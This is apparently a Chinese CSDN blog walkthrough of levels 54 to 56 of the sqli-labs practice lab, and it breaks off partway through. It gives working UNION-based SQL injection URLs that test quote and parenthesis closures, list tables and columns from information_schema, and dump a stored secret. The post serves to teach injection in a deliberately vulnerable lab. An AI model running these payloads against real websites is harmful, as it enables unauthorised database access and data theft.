sqli-labs(54-65)

最新推荐文章于 2022-09-19 01:38:27 发布

初宸

最新推荐文章于 2022-09-19 01:38:27 发布

阅读量596

点赞数

分类专栏： Web安全文章标签： mysql

本文链接：https://blog.csdn.net/qq_43395215/article/details/108245682

版权

本文详细介绍了在sqli-labs的第54到65关中如何利用SQL注入技巧进行闯关。通过判断不同的闭合方式，如单引号、双引号、括号等，以及使用联合查询、报错注入和盲注等方法，逐步揭露每一关的解决方案。在某些关卡中，由于尝试次数有限，需要精确的SQL语句和巧妙的注入策略来避免机会浪费。

摘要由CSDN通过智能技术生成

第54关：

根据这一关的提示，我们可以知道数据库的名字“chellenges”，我们需要知道“dump”的密码，才能通关，而且只有10次尝试机会

因为只有10次机会，所以判断闭合时需要猜测最常见的，所以先判断单引号、然后双引号、整形、最后括号

闭合方式：

/Less-54/?id=-1' union select 1,2,3--+

因为一直到库名，需要判断表名，注意语句要一次正确，可以在数据库中先测试是否正确

/Less-54/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

然后找出所有的列

192.168.31.9:8089/Less-54/?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='53TFB5MZYC'--+

更具列爆出密码

/Less-54/?id=-1' union all select 1,group_concat(secret_2HIN),3 from 53TFB5MZYC --+

爆出密码后，将密码输入，这关就成功了

这关与上一关一样，但是这一关用的闭合方式是“）”，确实是试了很多次才试出来，知道闭合方式以后，sql注入方式就和上一关一样了
注入sql：

/Less-55/?id=-1） union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

注入sql：

/Less-56/?id=-1'） union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+

注入sql：

/Less-

关注

专栏目录